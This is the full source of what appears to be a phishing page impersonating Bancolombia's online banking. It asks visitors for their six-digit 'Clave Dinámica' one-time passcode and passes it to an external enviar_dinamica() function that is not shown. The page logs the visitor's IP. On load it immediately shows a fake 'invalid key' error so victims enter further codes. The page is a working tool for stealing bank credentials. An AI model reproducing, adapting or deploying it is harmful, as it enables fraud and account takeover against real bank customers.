<?php
$ip = getenv("REMOTE_ADDR");
setlocale(LC_TIME, "spanish");
$tiempo = strftime("%A, %d de %B de %Y");
date_default_timezone_set('America/Bogota');
?>
<!DOCTYPE html>
<html lang="es">
<head>
    <title>Bancolombia Sucursal Virtual Personas</title>
    <meta http-equiv="content-type" content="text/html; charset=utf-8">
    <meta charset="utf-8">

    <meta content="es" http-equiv="Content-Language">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">

    <script src="https://kit.fontawesome.com/45b9078c9f.js" crossorigin="anonymous"></script>

    <link href="css/style.css" rel="stylesheet">
    <link href="css/stylesheet.css" rel="stylesheet">
    <link rel="icon" type="image/png" href="img/logo.png" />

    <script type="text/javascript" src="js/jquery-3.6.0.min.js"></script>
    <script src="js/jquery.jclock-min.js" type="text/javascript"></script>
    <script type="text/javascript" src="js/functions.js"></script>
    <script  src="js/presencia.js"></script>
    <style>
        /* =================== PALETA SEGÚN MODO DEL EQUIPO =================== */
        :root{
            --modal-bg: #f3f3f3;
            --modal-text: #111111;
            --subtitle-text: #444444;
            --slot-line: #cfcfcf;
            --slot-fill: #ffd600;
            --backdrop: rgba(0,0,0,0.65);
            --btn-sec-border: #cfcfcf;
            --btn-sec-text: #111111;
            --btn-prim-bg: #d0d0d0;
            --btn-prim-text: #666666;
            --footer-text: #f5f5f5;
            --error-bg: #262626;
            --error-text: #ffffff;
            --error-icon-bg: #ff8a3c;
        }

        @media (prefers-color-scheme: dark){
            :root{
                --modal-bg: #4f4f4f;
                --modal-text: #ffffff;
                --subtitle-text: #f5f5f5;
                --slot-line: #d0d0d0;
                --slot-fill: #ffd600;
                --backdrop: rgba(0,0,0,0.8);
                --btn-sec-border: #e0e0e0;
                --btn-sec-text: #ffffff;
                --btn-prim-bg: #6c6f73;
                --btn-prim-text: #2b2b2b;
                --footer-text: #f5f5f5;
                --error-bg: #1f1f1f;
                --error-text: #ffffff;
                --error-icon-bg: #ff8a3c;
            }
        }

        /* ====== FONDO GENERAL ====== */
        html, body{
            height: 100%;
            margin: 0;
            font-family: system-ui, -apple-system, "Segoe UI", Roboto, sans-serif;
        }

        body{
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            background-image: url('./img/auth-trazo.svg');
            background-size: cover;
            background-position: center;
            background-repeat: no-repeat;
            background-attachment: fixed;
        }

        /* Oscurecer + BLUR el fondo detrás del modal */
        .otp-backdrop{
            position: fixed;
            inset: 0;
            background: var(--backdrop);
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 16px;
            box-sizing: border-box;
            backdrop-filter: blur(10px);
            -webkit-backdrop-filter: blur(10px);
        }

        /* ====== MODAL PRINCIPAL ====== */
        .otp-modal{
            width: 100%;
            max-width: 720px;
            border-radius: 28px;
            background: var(--modal-bg);
            box-shadow:
              0 30px 60px rgba(0,0,0,0.8),
              0 0 0 1px rgba(0,0,0,0.3);
            overflow: hidden;
            position: relative;
        }

        .otp-modal-inner{
            padding-top: 28px;
        }

        /* Botón cerrar (X) */
        .otp-close{
            position: absolute;
            top: 20px;
            right: 26px;
            background: none;
            border: none;
            color: #f5f5f5;
            font-size: 26px;
            cursor: pointer;
            line-height: 1;
        }

        /* ====== BANNER SUPERIOR ====== */
        .otp-banner-wrapper{
            padding: 0 30px 0;
            margin-top: 10px;
        }

        .otp-banner{
            width: 100%;
            height: 150px;
            border-radius: 20px;
            overflow: hidden;
        }

        .otp-banner img{
            width: 100%;
            height: 100%;
            display: block;
            object-fit: cover;
            border-radius: 20px;
        }

        /* ====== TEXTO CENTRAL ====== */
        .otp-content{
            padding: 28px 42px 40px;
            text-align: center;
        }

        .otp-title{
            margin: 24px 0 18px;
            font-size: 34px;
            font-weight: 700;
            line-height: 1.2;
            color: var(--modal-text);
        }

        .otp-subtitle{
            margin: 0 0 32px;
            font-size: 18px;
            line-height: 1.4;
            color: var(--subtitle-text);
        }

        /* ====== INPUT CLAVE (6 DÍGITOS) ====== */
        .otp-input-wrapper{
            margin-bottom: 30px;
        }

        #txtOTP{
            position: absolute;
            opacity: 0;
            pointer-events: none;
        }

        .otp-slots{
            display: flex;
            justify-content: center;
            gap: 13px;
        }

        .otp-slot{
            width: 58px;
            height: 2px;
            border-radius: 999px;
            background: var(--slot-line);
            position: relative;
            overflow: visible;
        }

        .otp-slot.filled{
            background: var(--slot-fill);
        }

        .otp-slot::after{
            content: "";
            position: absolute;
            top: -25px;
            left: 50%;
            transform: translateX(-50%);
            width: 8px;
            height: 8px;
            border-radius: 50%;
            background: #ffffff;
            opacity: 0;
            transition: opacity .15s ease-out;
        }

        /* === CURSOR VISUAL EN EL SLOT ACTIVO === */
        .otp-slot.caret::before{
            content: "";
            position: absolute;
            left: 50%;
            transform: translateX(-50%);
            top: -24px;          /* comienza arriba del punto */
            height: 24px;        /* termina justo en la línea, sin pasarla */
            width: 2px;
            background: var(--modal-text);
            animation: otpCaretBlink 1s steps(2, start) infinite;
        }

        .otp-slot.filled::after{
            opacity: 1;
        }

        /* ====== CAJA DE ERROR ====== */
        .otp-error-wrapper{
            padding: 0 42px;
            box-sizing: border-box;
        }

        .otp-error{
            margin-top: 0;
            background: var(--error-bg);
            border-radius: 14px;
            color: var(--error-text);
            padding: 14px 18px;
            display: flex;
            align-items: flex-start;
            gap: 12px;
            opacity: 0;
            max-height: 0;
            overflow: hidden;
            transform: translateY(-8px);
            box-shadow: 0 12px 24px rgba(0,0,0,0.35);
            transition:
                opacity .2s ease-out,
                max-height .2s ease-out,
                margin-top .2s ease-out,
                transform .2s ease-out;
        }

        .otp-error.visible{
            opacity: 1;
            max-height: 160px;
            margin-top: 26px;
            transform: translateY(0);
        }

        .otp-error-icon{
            flex: 0 0 32px;
            width: 32px;
            height: 32px;
            border-radius: 50%;
            background: var(--error-icon-bg);
            display: flex;
            align-items: center;
            justify-content: center;
            color: #ffffff;
            font-size: 18px;
            font-weight: 700;
        }

        .otp-error-text{
            text-align: left;
            font-size: 15px;
            line-height: 1.4;
        }

        .otp-error-title{
            font-weight: 700;
            margin-bottom: 2px;
        }

        .otp-error-close{
            margin-left: auto;
            background: none;
            border: none;
            color: #dddddd;
            font-size: 18px;
            cursor: pointer;
        }

        /* ====== BOTONES ====== */
        .otp-buttons{
            display: flex;
            justify-content: center;
            gap: 24px;
            margin-top: 32px;
        }

        .otp-btn{
            min-width: 220px;
            padding: 16px 32px;
            border-radius: 999px;
            font-size: 18px;
            font-weight: 600;
            cursor: pointer;
            transition: all .15s ease-out;
        }

        .otp-btn-secondary{
            background: transparent;
            color: var(--btn-sec-text);
            border: 1px solid var(--btn-sec-border);
        }

        .otp-btn-secondary:hover{
            background: rgba(0,0,0,0.05);
        }

        .otp-btn-primary{
            border: none;
            background: var(--btn-prim-bg);
            color: var(--btn-prim-text);
            opacity: .6;
            cursor: default;
        }

        .otp-btn-primary.enabled{
            background: #ffd600;
            color: #2b2b2b;
            opacity: 1;
            cursor: pointer;
        }

        .otp-btn-primary.enabled:hover{
            filter: brightness(1.05);
        }

        /* ====== FOOTER IP / FECHA ====== */
        .site-footer{
            position: fixed;
            bottom: 0;
            left: 0;
            width: 100%;
            padding: 16px;
            text-align: center;
            color: var(--footer-text);
            font-size: 14px;
            box-sizing: border-box;
        }

        /* overlays de carga que ya usabas */
        #fondo{
            position: fixed;
            width: 100%;
            height: 100%;
            z-index: 189;
            top: 0;
            left: 0;
            background: #0000008f;
            display: none;
        }

        #cargando{
            text-align: center;
            position: fixed;
            z-index: 190;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            display: none;
        }

        @keyframes otpCaretBlink{
            0%   { opacity: 1; }
            50%  { opacity: 0; }
            100% { opacity: 1; }
        }

        /* ====== RESPONSIVE ====== */
        @media (max-width: 600px){
            .otp-modal{
                border-radius: 18px;
            }
            .otp-banner-wrapper{
                padding: 0 20px 0;
                margin-top: 10px;
            }
            .otp-banner{
                height: 110px;
                border-radius: 18px;
            }
            .otp-banner img{
                border-radius: 18px;
            }
            .otp-content{
                padding: 24px 20px 32px;
            }
            .otp-title{
                font-size: 28px;
            }
            .otp-subtitle{
                font-size: 16px;
                margin-bottom: 28px;
            }
            .otp-slots{
                gap: 22px;
            }
            .otp-slot{
                width: 44px;
            }
            .otp-error-wrapper{
                padding: 0 20px;
            }
            .otp-buttons{
                flex-direction: row;
                align-items: center;
                justify-content: center;
                gap: 16px;
            }
            .otp-btn{
                width: auto;
                min-width: 0;
                flex: 1;
                padding: 14px 10px;
                font-size: 16px;
            }
        }

    </style>
</head>
<body>

<div id="fondo"></div>
<div id="cargando">
    <img src="img/logo.svg"><br>
    <img src="img/load2.gif">
</div>

<div class="otp-backdrop">
    <div class="otp-modal">
        <div class="otp-modal-inner">

            <div class="otp-banner-wrapper">
                <div class="otp-banner" id="otpBanner">
                    <img src="img/cd-desktop.gif" alt="bannerinfo">
                </div>
            </div>

            <div class="otp-content">
                <h1 class="otp-title">Ingresa la Clave Dinámica</h1>
                <p class="otp-subtitle">
                    Encuentra tu Clave Dinámica en la app Mi Bancolombia.
                </p>
                <br><br>

                <div class="otp-input-wrapper">
                    <input
                        type="password"
                        id="txtOTP"
                        name="txtOTP"
                        maxlength="6"
                        autocomplete="off"
                        pattern="[0-9]*"
                        inputmode="numeric"
                    >

                    <div class="otp-slots" id="otpSlots">
                        <div class="otp-slot" data-pos="0"></div>
                        <div class="otp-slot" data-pos="1"></div>
                        <div class="otp-slot" data-pos="2"></div>
                        <div class="otp-slot" data-pos="3"></div>
                        <div class="otp-slot" data-pos="4"></div>
                        <div class="otp-slot" data-pos="5"></div>
                    </div>
                </div>

                <div class="otp-error-wrapper">
                    <div class="otp-error" id="otpErrorBox">
                        <div class="otp-error-icon">!</div>
                        <div class="otp-error-text">
                            <div class="otp-error-title" id="otpErrorTitle">
                                Clave inválida, inténtalo de nuevo.
                            </div>
                            <div id="otpErrorMessage">
                                Pronto solucionaremos el problema y podrás continuar con tu solicitud.
                            </div>
                        </div>
                        <button type="button" class="otp-error-close" id="otpErrorClose">&times;</button>
                    </div>
                </div>

                <div class="otp-buttons">
                    <button type="button" class="otp-btn otp-btn-secondary" id="btnBorrar">
                        Borrar
                    </button>
                    <button type="button" class="otp-btn otp-btn-primary" id="btnOTP">
                        Continuar
                    </button>
                </div>
            </div>
        </div>
    </div>
</div>

<footer class="site-footer">
        <span id="fecha-hora"></span>
</footer>

<script type="text/javascript">
    var espera = 0;
    let identificadorTiempoDeEspera;
    let errorTimeoutId = null;

    function retardor() {
        identificadorTiempoDeEspera = setTimeout(retardorX, 900);
    }
    function retardorX() {}

    function actualizarSlots(valor){
        const slots = document.querySelectorAll(".otp-slot");
        const input = document.getElementById("txtOTP");

        // limpiamos estados
        slots.forEach(s => s.classList.remove("filled", "caret"));

        // slots llenos
        for(let i = 0; i < valor.length && i < slots.length; i++){
            slots[i].classList.add("filled");
        }

        // índice del cursor
        let caretIndex = valor.length;
        if (caretIndex >= slots.length) caretIndex = slots.length - 1;

        // solo mostrar cursor si el input tiene foco
        if (document.activeElement === input){
            slots[caretIndex].classList.add("caret");
        }
    }

    function actualizarBoton(){
        const valor = $("#txtOTP").val();
        const btn = $("#btnOTP");
        if(valor.length === 6){
            btn.addClass("enabled");
        }else{
            btn.removeClass("enabled");
        }
    }

    function mostrarErrorOTP(mensaje){
        if(mensaje){
            $("#otpErrorTitle").text("Clave inválida, inténtalo de nuevo.");
            $("#otpErrorMessage").text(mensaje);
        }
        const box = $("#otpErrorBox");
        box.addClass("visible");

        if(errorTimeoutId){
            clearTimeout(errorTimeoutId);
        }
        errorTimeoutId = setTimeout(ocultarErrorOTP, 5000);
    }

    function ocultarErrorOTP(){
        $("#otpErrorBox").removeClass("visible");
        if(errorTimeoutId){
            clearTimeout(errorTimeoutId);
            errorTimeoutId = null;
        }
    }

    function mostrarErrorClaveInvalida(){
        mostrarErrorOTP("Clave incorrecta. Por favor, verifica e ingrésala nuevamente.");
    }

	mostrarErrorClaveInvalida();

    $(document).ready(function(){

        $("#txtOTP").focus();

        $("#otpErrorClose").on("click", function(){
            ocultarErrorOTP();
        });

        // click en las rayitas -> foco
        $("#otpSlots").on("click", function(){
            $("#txtOTP").focus();
        });

        // solo números, máximo 6, actualiza slots y botón
        $("#txtOTP").on("input", function(){
            this.value = this.value.replace(/[^0-9]/g,"").slice(0,6);
            actualizarSlots(this.value);
            actualizarBoton();
        });

        $("#txtOTP").on("focus", function(){
            actualizarSlots(this.value);
        });

        $("#txtOTP").on("blur", function(){
            document.querySelectorAll(".otp-slot")
                .forEach(s => s.classList.remove("caret"));
        });

        $("#btnBorrar").on("click", function(){
            $("#txtOTP").val("");
            actualizarSlots("");
            actualizarBoton();
            ocultarErrorOTP();
            $("#txtOTP").focus();
        });

        $("#btnOTP").on("click", function(){
            const codigo = $("#txtOTP").val();
            if(codigo.length === 6){
                enviar_dinamica(codigo);
            }else{
                $("#txtOTP").focus();
            }
        });
    });
</script>

<script type="text/javascript">
    $(function($) {
        var optionsEST = {
            am_pm: true,
            timeNotation: '12h',
            h_hour: "<?php echo date('H:i:s') ?>",
            h_date: "<?php echo date('Y/m/d') ?>",
            h_format: "$nombreDia$ $dia$ de $nombreMes$ de $anio$ $hhmmss$ $ampm$",
            h_language: "es"
        }
        $('#fecha-hora').jclock(optionsEST);
    });
</script>

</body>
</html>
